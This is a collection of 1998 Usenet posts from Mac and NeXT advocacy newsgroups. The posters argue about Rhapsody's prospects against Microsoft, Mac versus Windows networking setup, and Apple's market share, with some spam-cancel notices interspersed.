Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 17:20:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16A6E9E-90363@206.165.43.16>
References: <6i2e15$bll$17@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
> In <B16A0007-10066@206.165.43.105> "Lawson English" wrote:
> > mmalcolm crawford <malcolm@plsys.co.uk> said:
> > > Nope, that's not interesting at all.
> >
> > Interesting comment.
> >
> Depends on how much credence you give Amelio.
When someone says something this directly in public, claiming that they
were directly involved, I tend to believe them. He's setting himself up for
all sorts of legal action if he's lying.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Mon, 27 Apr 1998 21:50:46 -0400
From: casper@nb.net (Tim Scoff)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Message-ID: <casper-2704982150460001@wheat-b-33.monroeville.nb.net>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <casper-2704980603550001@wheat-d-08.monroeville.nb.net> <3544a8d5.0@news.together.net>
In article <3544a8d5.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
>Tim Scoff wrote in message ...
><SNIP>
>..
>..
>> In all honesty you shortened the Mac's operation by a few steps. It
>>only takes me about twice as many steps on a NT box to set up dial up
>>networking as it takes me on a Mac.
>..
>Eight mouse clicks (including the start menu) on my NT box. So... you can do
>it in 4 on your Mac? Tell us what they are.
>..
>..
><SNIP, more WIN95 networking misinformation>
>..
>..
You're pretty good. It takes me 6 clicks to enter that information on
a clean install of OS 8.
--
Tim Scoff
casper@nb.net
http://www.nb.net/~casper/
Imagine that CRAY decides to make a personal computer. It contains 16 Alpha based processors executing in parallel, has 800 megabytes of RAM, 100 Gigabytes of disk storage, a resolution of 4096 x 4096 pixels, does 24bit 3D graphics in realtime, relies entirely on voice recognition for input, fits in your shirt pocket and costs $300. What is the first question the computer community asks?
"Is it DOS compatible?"
From: scholl@hercules.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 27 Apr 1998 22:36:55 -0400
Organization: University at Buffalo
Message-ID: <6i3fc7$cj3$1@hercules.acsu.buffalo.edu>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i2nmi$k8i$1@new-news.cc.brandeis.edu>
NNTP-Posting-User: scholl
Nathan G. Raymond (xray@cs.brandeis.edu) wrote:
: I have a few things to say:
: a) 14 IRQs - some new machines are shipping with 0 free, and if you have a
: conflict on any machine and need to manually set an IRQ, any future plug
: and play devices can't be automatically allocated by Windows (why do you
it can be automatically allotted- just might not work. =)
: need IRQ/DMA? Because ISA doesn't have the bandwidth to handle modern
why do you need irq's? the same reason you need them on a mac. why do
you need dma? find out what the acronym stands for and it might give you
a clue.
: cards like sound and ethernet unless the cards work around the
: architecture limitations)
: b) Cluttered interface - if a user actually wants to change a setting, or
: add a network protocol/adapter/client, they are in for some fun.
: Powerful interface, yes, sensical, far from it... I won't even get into
: this.
not sensical to add a network protocol? lets see, if memory serves me right,
you open up the network control panel, click "add", click "protocol". if
that doesn't make sense to you...
: d) Import/Export - out of luck (AFAIK)
import/export what?
: c) Restart every time something in the Network control panel is changed -
: makes you want to scream if you deubgging settings/network connection,
: doesn't it?
uhhh, last i knew, ip addresses on mac's couldn't be dynamically changed.
might be different now. they can be on win95.
: e) Have to click the "OK" button in the Network control panel in order for
: ANY changes you just made to any client, protocol, or interface to be
: saved, if you click in the close button in the top of the Network control
: panel it CLOSES WITHOUT SAVING, and doesn't ask you. A good tip off you
: did this is if you notice you don't have to restart.
gee. imagine that. if you have such a problem with that, try the "return"
key instead.
: For a good example of how all the above ought to work, use OpenTransport
: in the MacOS.
yeah right.
-ed
From: dwright@universal.dca.net (Darren Wright)
Subject: Re: WriteUp/PasteUp good?
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Followup-To: comp.sys.next.advocacy,comp.sys.next.software
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net>
Organization: DCANet http://www.dca.net/
Message-ID: <35455378.0@news.dca.net>
Date: 28 Apr 98 03:56:40 GMT
I agree with the file format dilemma. Being a NeXTophile, I'd love to
keep working with native apps on my Color Turbo. But alas, lack
of conformity with all my clients makes my WP of choice Word. No matter
how hard we try to keep the platform alive....we're in trouble.
Anyway, I use Openwrite, and it is actually very nice. I export
everything into and older Word format, which clients can import easily
into Word 97.
Too bad Quantrix is not available on Windows hunh? Excel still sucks bad.
-Darren
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6i25o9$git@chatta.samart.co.th>
Control: cancel <6i25o9$git@chatta.samart.co.th>
Date: 28 Apr 1998 04:08:44 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6i25o9$git@chatta.samart.co.th>
Sender: simon@fowarding.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <3544a6b7.0@news.together.net> <MPG.fae6da055ab2b68989713@news.itg.ti.com> <casper-2704982124480001@wheat-b-33.monroeville.nb.net>
Subject: Re: first post
Date: Tue, 28 Apr 1998 00:17:44 -0400
Message-ID: <354552d4.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Tim Scoff wrote in message ...
>In article <MPG.fae6da055ab2b68989713@news.itg.ti.com>, jmcn@msg.ti.com
>(Jason McNorton) wrote:
>
>>In article Lance Togar, ltogar@msn.com says...
>>> G_o_M_a_c <"ndk"@ eat-no-spaaam nbnet.nb.ca> > wrote in message
>>> >Fill in username,
>>> >password, chack save password if you like.
>>> >At this point, I reboot and voila! It never fails.
>>> ..
>>> Sure. After you stunning display of ignorance concerning WIN95
networking,
>>> we're all to believe you're better on the Mac. Count me unconvinced.
>>
>>
>>When a Mac has to reboot to load configurations it's "viola!". Even
>>though Macs take longer to reboot, it's seen as trivial. Everytime a
>>Windows computer has to do it, it's a long drawn out and painful process
>>that shows how inferior Windows is. Such silly bias..
>
> Under Open Transport I can change TCP/IP configurations on the fly
>without rebooting from my LAN to my modem. The only application that I
>have to quit and then re-launch is MT NewsWatcher. On my NT computer on
>the other hand.....
..
You can do the same thing. So... what's the point?
..
..
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i2nmi$k8i$1@new-news.cc.brandeis.edu>
Subject: Re: first post
Date: Tue, 28 Apr 1998 00:31:58 -0400
Message-ID: <35455628.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Nathan G. Raymond wrote in message
<6i2nmi$k8i$1@new-news.cc.brandeis.edu>...
>In article <35433ec7.0@news.together.net> "Lance Togar" <ltogar@msn.com>
writes:
>[SNIP]
>>Well, WIN95 users don't need to choose the modem or baud rate and the OS
>>is smart enough to know you'll be using PPP. Sounds a lot like Apple needs
>>some serious catching up here but then it never was very good at standards
>>based networking. And, gee, whatever happened to the Mac's infamous Plug &
>>Play??? Real plug & play means the user doesn't need to worry about baud
>>rates. WIN95 handles this so where's the Mac?? Behind.... again....
>
>I have a few things to say:
>
>a) 14 IRQs - some new machines are shipping with 0 free, and if you have a
>conflict on any machine and need to manually set an IRQ, any future plug
>and play devices can't be automatically allocated by Windows (why do you
>need IRQ/DMA? Because ISA doesn't have the bandwidth to handle modern
>cards like sound and ethernet unless the cards work around the
>architecture limitations)
..
This dosn't have anything to do with "bandwidth" but, yes, some machines do
ship with all the IRQs used. Usually laptops where PCI cards, which can
share IRQs, aren't used.
..
..
>b) Cluttered interface - if a user actually wants to change a setting, or
>add a network protocol/adapter/client, they are in for some fun.
>Powerful interface, yes, sensical, far from it... I won't even get into
>this.
..
A matter of preference. I like choices.
..
..
>d) Import/Export - out of luck (AFAIK)
..
What?
..
..
>c) Restart every time something in the Network control panel is changed -
>makes you want to scream if you deubgging settings/network connection,
>doesn't it?
..
Could be nicer but then what couldn't?
..
..
>e) Have to click the "OK" button in the Network control panel in order for
>ANY changes you just made to any client, protocol, or interface to be
>saved, if you click in the close button in the top of the Network control
>panel it CLOSES WITHOUT SAVING, and doesn't ask you. A good tip off you
>did this is if you notice you don't have to restart.
..
I guess OK means OK.
..
..
>f) Can't have seperate name servers for multiple TCP/IP protocols - Yes
>want to use your notebook at work with those name servers and use your
>ISPs nameservers for dialup? You'd THINK those name servers in each
>device's bound TCP/IP settings are seperate, but NO, there is only one set
>saved for all. Nice, isn't it?
..
This is allowed with NT and you should be using DHCP at work rather than
entered DNSs.
..
..
>For a good example of how all the above ought to work, use OpenTransport
>in the MacOS.
..
Sure.
..
..
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35343ac4.0@193.15.242.210>
Control: cancel <35343ac4.0@193.15.242.210>
Date: 15 Apr 1998 21:39:30 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.35343ac4.0@193.15.242.210>
Sender: CatherineW@email.unc.edu
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: US Market Share UP! Whooee!
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Message-ID: <35458606.0@news.depaul.edu>
Date: 28 Apr 98 07:32:22 GMT
http://www.news.com/News/Item/0,4,21540,00.html?st.ne.fd.gif.d
IDC sez Apple's US marketshare went from 3.4% in Q497, to
4.0% in Q198.
Not much, but I'll take it...
- Jon
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <3544f790.0@news.mountain.net>
From: Stanley
Control: cancel <3544f790.0@news.mountain.net>
Date: Tue, 28 Apr 1998 06:06:53 GMT
Message-ID: <cancel.3544f790.0@news.mountain.net>
Sender: Stanley
Message <3544f790.0@news.mountain.net> was cancelled by
fifi@toby.han.de. Reason: Spam
Message-ID: <3544E086.1C80@ultranet.ca>
Date: Mon, 27 Apr 1998 12:46:26 -0700
From: Alan Baker <Alan_spamMeNot_Baker@ultranet.ca>
Organization: bakerMEDIA
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Fred wrote:
>
> In article <6i0dit$466$1@xmission.xmission.com>, kris@xmission.xmission.com
> says...
> > I guess not you, since apparently all you use a computer for is to post to
> > Usenet.
> >
> > People who want to run Lotus, Novell, and IBM products need Lotus,
> > Novell, and IBM to support their platform. These people inhabit something
> > called The Real World. This place exists in The Big Room with a Blue
> > Ceiling that has a Really Bright Yellow Light. I understand that you
> > haven't been there in years. It really is a lot nicer than where you are
> > right now. These people have to do Real Work and solve Real (not
> > Imaginary) Problems, like how to run Lotus Notes, how to connect to Novell
> > networks, and other Real Things.
> >
> > Look deep inside yourself. Visualize the empty space within. That is
> > where your inner bozo lives. It can be destroyed. Open up that space to
> > the nourishing light of the Really Bright Yellow Light in The Big Room
> > with The Blue Ceiling.
> >
> > Imagine that light illuminating the fetid, rotten inner bozo that has been
> > poisoning you for years. Imagine letting a fresh, clean wind into that
> > space to dissipate its rancid vapors. Imagine being free of the inner bozo
> > that makes you squirt semantic diarrhea all over innocent people on
> > Usenet.
> >
> > You can be helped. But in the meantime, your bozo bit has been flipped, so
> > as to keep your poop off me.
>
> This is quite probably the greatest single usenet post I've ever read..
Fred,
I don't really mean to reply to you but I can't let this pass by.
If the previous poster means to imply that if you use a Mac that you
cannot connect to Novell Netware servers or that you cannot use Lotus
Notes I believe he/she is in error.
From
http://www.lotus.com/core/content.nsf/bf174e77d97f70188525651e00641ec9/a32ffbf358323f2385256531006085ef?OpenDocument
(system requirements for Lotus Notes 4.51:
Macintosh: System 7.5x; Motorola 68030, 68040, PowerPC; Minimum 12MB RAM
(680x0, virtual memory on), Max recommended 28MB (PPC, VM off); 30-40MB
drive space; AppleTalk; TCP/IP or X.PC network protocols.
As for Netware:
"http://www.novell.com/catalog/bg/bge14140.html" shows Mac as being
supported by Netware 4.11 via Netware for Mac client software or (IIRC)
you can use Netware for AppleTalk NLMs (available free from Novell,
IIR) on the server instead.
So exactly what real world are you talking about? The one where MS
manages to port every part of Office to the Mac _except_ Access, thus
freezing the Mac out of any company that wants to use an Access-based
product.
Gee, I wonder why they'd want to do that?
--
Alan Baker
bakerMEDIA
Alan_spamMEnot_baker@ultranet.ca
(just one underscore between the names please)
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 05:29:30 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6kaq9o.rtp.mbkennel@lyapunov.ucsd.edu>
References: <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25> <joe.ragosta-2304981555560001@wil124.dol.net> <354185ca.0@news.camtech.net.au> <19980427030807624767@sdn-ts-002txhousp02.dialsprint.net>
On Mon, 27 Apr 1998 03:08:07 -0500, John Bauer wrote:
:I think all Joe was saying (which I agree with) is not to malign Jobs
:for caving in on Office for Rhapsody as there is no guarantee that Gates
:would have agreed to such a condition.
Or more worrisomely, it would earn Rhapsody a top-ten position Microsoft's
Enemy Target Radar if it knew Apple was going to be pushing it very hard.
That is usually a fatal mistake. Microsoft knows MacOS is not a big threat
to Windows: if it were, their market shares would be rather different. It
has no idea if Rhapsody might be a threat to Windows NT. (It certainly
could be so.)
Tipping Big Green off to something very big well over a year before it's
ready (and two until fully mature) is dumb. Of course MSFT knows about
Rhapsody, but it is certainly not central to its outlook the way it is to Mac
and NeXT people. It has to worry about so much (e.g. Java) its attention
(quite literally Bill Gates' personal attention) is diverted.
What would Office on YellowBox do which is so much better than on Blue?
I'm guessing cool things with services and bundles, but to make it work it
would need a from-scratch rewrite. That means lots of work by Microsoft
to cover a market which it already has covered, for the most part.
If BlueBox does work well, then Rhapsody will take off on its own, and
Macintosh Office will be bought for it.
Harping on and on about Rhapsody's greatness would not easily change
Microsoft's mind about Office, but it would change its opinion about
Rhapsody and Apple to Apple's strategic disadvantage.
The only thing which would change its mind or scare it shitless is brisk
sales of Rhapsody/Intel by PC clone makers. At that point it would decide
whether to engage in warfare or cut its losses and try to make bucks off
these people too.
Historical practice has been to leave the metaphorical horse's head in the
bed of every major PC maker. If there is too much antitrust scrutiny to
allow this to proceed unimpeded, they may have to make a quick turnaround.
Big Question:
How do you convert your userbase to an awesome new operating system, and
not scare Microsoft in the process?
The paradoxical reality:
Convince your user base that you are absolutely NOT converting them to a
new operating system.
And then quietly put all the technology of the new operating system into
the same package and name as the old one.
Microsoft assumes that future MacOS will have the same marketshare as
present MacOS. Simplistic thought bubble: ''we make money off that, but
it isn't a strategic threat.''
Random Q. MacUser takes the path of least resistance: upgrades MacOS.
Pointy-haired managers don't whine, "We can't support ANOTHER operating
system!!"
Amelio was being the typical technogeek: If you give people the technical
facts they will flock to you. Doesn't work in the land of Bill.
Jobs is being a cunning disciple of propaganda and deception.
Andressen, Barksdale, Ellison and McNealy telegraphed the Web 'n' Java threat
to the Microsoft Empire far far too early. What happened?
Episode V: The Empire Struck Back.
I'd venture that Steve Jobs has learned from Master Yoda.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 02:18:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16AECB4-22A75@206.165.43.107>
References: <6i2a4u$e54$9@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
> But OpenDoc got tied up in that too though, consider all the SOM/CORBA
> etc.
> BS that it became. Will anyone forget Lawson decrying it one day as
> nothing
> more than attempt to beat up on MS, then the next as a standard that
> should
> not be allowed to die?
I reserve the right to be inconsistent.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 09:03:46 GMT
Organization: P & L Systems
Message-ID: <6i461i$bll$18@ironhorse.plsys.co.uk>
References: <6i2e15$bll$17@ironhorse.plsys.co.uk> <B16A6E9E-90363@206.165.43.16>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B16A6E9E-90363@206.165.43.16> "Lawson English" wrote:
> When someone says something this directly in public, claiming that they
> were directly involved, I tend to believe them. He's setting himself up for
> all sorts of legal action if he's lying.
>
So how come you never believe anything Mike Paquette tells you?
mmalc.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Tue, 28 Apr 1998 02:52:01 -0700
Message-ID: <see-below-2804980252010001@209.24.240.56>
References: <hi-2808562103540001@1cust166.tnt8.krk1.da.uu.net> <B16983BC-31232@206.165.43.144> <critic-2804980001550001@p14-max41.auck.ihug.co.nz>
In article <critic-2804980001550001@p14-max41.auck.ihug.co.nz>,
critic@NoChoppedPorkShoulder.ihug.co.nz (Steve Ballantyne) wrote:
> In article <B16983BC-31232@206.165.43.144>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Carl Bond <hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address> said:
> >
> > > | 256 color support came out with the Mac II's in 1987 (6?).
> > > |
> > > | System 1.0 had 8-color support, although you couldn't see it.
> > >
> > > Hmmmm... Oh, it did?
> >
> > Yep. 8-color support in QD was there since the beginning. I don't know of
> > any app that ever used it, however, and I have never bothered to read the
> > docs on how to use it since any Mac that can show 8 colors can show 256, so
> > why bother with the 8-color version in the first place?
> >
>
> Nggh...nyuhhh... nnng... (sounds of desperately straining memory)
>
> Silicon Beach... they had an application...
>
> But I just can't quite remember what it was called -- it printed labels
> and stuff, and was very good (for its time) at varying text etc for each
> label. If you put a multicolored ribbon in your ImageWriter, you could
> have it do color, too; On screen they'd be represented as fill patterns,
> but they'd print in color.
Didn't somebody put together a hardware solution that could display the
colors on an external monitor? Anyways, I seem to remember something like
that from the year or so before the Mac II shipeed.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Tue, 28 Apr 1998 07:58:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Message-ID: <joe.ragosta-2804980758420001@wil124.dol.net>
References: <6i2a4u$e54$9@ns3.vrx.net> <B16AECB4-22A75@206.165.43.107>
In article <B16AECB4-22A75@206.165.43.107>, "Lawson English"
<english@primenet.com> wrote:
> Maury Markowitz <maury@remove_this.istar.ca> said:
>
> > But OpenDoc got tied up in that too though, consider all the SOM/CORBA
> > etc.
> > BS that it became. Will anyone forget Lawson decrying it one day as
> > nothing
> > more than attempt to beat up on MS, then the next as a standard that
> > should
> > not be allowed to die?
>
> I reserve the right to be inconsistent.
Why am I not surprised?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <casper-2704980603550001@wheat-d-08.monroeville.nb.net> <3544a8d5.0@news.together.net> <casper-2704982150460001@wheat-b-33.monroeville.nb.net>
Subject: Re: first post
Date: Tue, 28 Apr 1998 09:09:46 -0400
Message-ID: <3545cf7e.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Tim Scoff wrote in message ...
>In article <3544a8d5.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>
>>Tim Scoff wrote in message ...
>><SNIP>
>>..
>>..
>>> In all honesty you shortened the Mac's operation by a few steps. It
>>>only takes me about twice as many steps on a NT box to set up dial up
>>>networking as it takes me on a Mac.
>>..
>>Eight mouse clicks (including the start menu) on my NT box. So... you can
do
>>it in 4 on your Mac? Tell us what they are.
>>..
>>..
>><SNIP, more WIN95 networking misinformation>
>>..
>>..
>
> You're pretty good. It takes me 6 clicks to enter that information on
>a clean install of OS 8.
>
..
No, not pretty good. It's simply the way it's done. Anyone can do the same.
Clean install... ummm, that's nice but most people don't want to reload the
OS every time they need to adjust their network. You also forget to mention
that both WIN95 and WINNT offer networking that's far more sophisticated
than anything you'll find on the Mac. This leads to an occasional extra
mouse click but it's worth it to those of us who need the features. Have
faith though, It's rumored that you'll have some of these feature when/if
Rhapsosdy is released. Real soon now... isn't it?
..
..
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 08:11:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i4309$489$1@ns3.vrx.net>
References: <6i2a4u$e54$9@ns3.vrx.net> <B16AECB4-22A75@206.165.43.107>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B16AECB4-22A75@206.165.43.107> "Lawson English" claimed:
> I reserve the right to be inconsistent.
Me too! I assure you I use it as a historical point only.
Maury
From: sandrock@wopr.wolfram.com (Mark Sandrock)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 28 Apr 1998 08:17:16 -0500
Organization: Wolfram Research, Inc.
Message-ID: <6i4kss$bm2$1@wopr.wolfram.com>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hklh0$oit$1@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) writes:
>> Obviously SGI customers clearly are NOT Apple customers.
> Oh, I couldn't disagree more! I don't know about you, but most SGI shops I
>visit have SGI's and mostly Macs, Not SGI and nothing, or SGI and mostly PC's
>(this may be changing).
> Arts, graphics, web content. These are all markets Apple is in, and ones
>SGI is in. Yes SGI is also into the 3D market, but that doesn't seem to be
>large enough alone to keep it's current size against more generalist
>machines. Access to Apple's desktop apps could fix this.
I've been gone a year now, but a lot of the research groups in the
chem and biochem depts. at a nearby major university were mostly
using Macs and SGIs.
Mark
--
Mgr, Sys Admin
Wolfram Research, Inc.
Voice: 217-398-0700/x107
E-mail: sandrock@wolfram.com
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Tue, 28 Apr 98 09:18:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EE022E.09B6006D6A.uuout@relaynet.org>
References: <B16AECB4-22A75@206.165.43.107>
> But OpenDoc got tied up in that too though, consider all the
> SOM/CORBA etc.
> BS that it became. Will anyone forget Lawson decrying it one day as
> nothing more than attempt to beat up on MS, then the next as a
> standard that should not be allowed to die?
Lawson> I reserve the right to be inconsistent.
And ignorant. And obdurate. And pedantic. And an incessant whiner.
Salut!
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 08:20:39 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i43gn$489$2@ns3.vrx.net>
References: <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25>
<joe.ragosta-2304981555560001@wil124.dol.net> <354185ca.0@news.camtech.net.au>
<19980427030807624767@sdn-ts-002txhousp02.dialsprint.net> <slrn6kaq9o.rtp.mbkennel@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mbkennel@yahoo.com
In <slrn6kaq9o.rtp.mbkennel@lyapunov.ucsd.edu> Matt Kennel claimed:
> If BlueBox does work well, then Rhapsody will take off on its own, and
> Macintosh Office will be bought for it.
Yes yes yes! This was the big problem in the past, selling the company for
MS's support. Of course MS is the one in the bind, if the market takes off
they _have_ to follow it.
> Amelio was being the typical technogeek: If you give people the technical
> facts they will flock to you. Doesn't work in the land of Bill.
Yes! Exactly!
> Jobs is being a cunning disciple of propaganda and deception.
Now, ten years later.
Maury
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: 28 Apr 1998 13:49:52 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6i4mq0$ec6$1@new-news.cc.brandeis.edu>
References: <35433ec7.0@news.together.net> <6i2nmi$k8i$1@new-news.cc.brandeis.edu> <6i3fc7$cj3$1@hercules.acsu.buffalo.edu>
In article <6i3fc7$cj3$1@hercules.acsu.buffalo.edu> scholl@hercules.acsu.buffalo.edu (Edward P Scholl) writes:
>Nathan G. Raymond (xray@cs.brandeis.edu) wrote:
>: I have a few things to say:
>: a) 14 IRQs - some new machines are shipping with 0 free, and if you have a
>: conflict on any machine and need to manually set an IRQ, any future plug
>: and play devices can't be automatically allocated by Windows (why do you
>
>it can be automatically allotted- just might not work. =)
>
>: need IRQ/DMA? Because ISA doesn't have the bandwidth to handle modern
>
>why do you need irq's? the same reason you need them on a mac. why do
>you need dma? find out what the acronym stands for and it might give you
>a clue.
Direct Memory Access, Interupt Request, yeah, and? You don't know WHY
these are necessary? Please look into the specs on ISA sometime.
>: cards like sound and ethernet unless the cards work around the
>: architecture limitations)
>
>: b) Cluttered interface - if a user actually wants to change a setting, or
>: add a network protocol/adapter/client, they are in for some fun.
>: Powerful interface, yes, sensical, far from it... I won't even get into
>: this.
>
>not sensical to add a network protocol? lets see, if memory serves me right,
>you open up the network control panel, click "add", click "protocol". if
>that doesn't make sense to you...
Protocol's devices and clients are in the SAME LIST. Listen, if you LIKE
this, if you think this is CLEAR, by all means USE WINDOWS. The fact that
there is SO MUCH software out there that has totally non-sensical
interfaces is because PEOPLE DON'T demand higher. It's because of people
like you, multiplied millions of times over, that we are in the quandry we
are today. Software design is really a service industry, but its treated
like a creative industry, a creative industry where the people creating
(programmers) rarely get an education in interface design. Ask your
average course 6 grad from MIT.
>: d) Import/Export - out of luck (AFAIK)
>
>import/export what?
All the TCP/IP settings. On the mixed Windows/Mac network I administer,
its very convenient to simply mount the server and load all the settings
from a file (static IP no DHCP, RARP, etc.) and adjust one number, all
without restarting.
>: c) Restart every time something in the Network control panel is changed -
>: makes you want to scream if you deubgging settings/network connection,
>: doesn't it?
>
>uhhh, last i knew, ip addresses on mac's couldn't be dynamically changed.
>might be different now. they can be on win95.
Open Transport is a streams based architecture (NOT sockets), please look
up the differences and educate yourself. Open Transport runs on Mac OS
7.5.x through 8.1 on M680030, 040, PPC601, 603, 604, 750. System versions
previous to 7.6 could still use classic networking and MacTCP, a sockets
based protocol which required a restart like Windows.
>: e) Have to click the "OK" button in the Network control panel in order for
>: ANY changes you just made to any client, protocol, or interface to be
>: saved, if you click in the close button in the top of the Network control
>: panel it CLOSES WITHOUT SAVING, and doesn't ask you. A good tip off you
>: did this is if you notice you don't have to restart.
>
>gee. imagine that. if you have such a problem with that, try the "return"
>key instead.
I'M NOT COMPLAINING THAT I DON'T KNOW HOW TO DO IT. You, and the rest of
the unwashed masses, are stewing in your own juices as long as you
continue to put up with this brain dead lack of common interface sense.
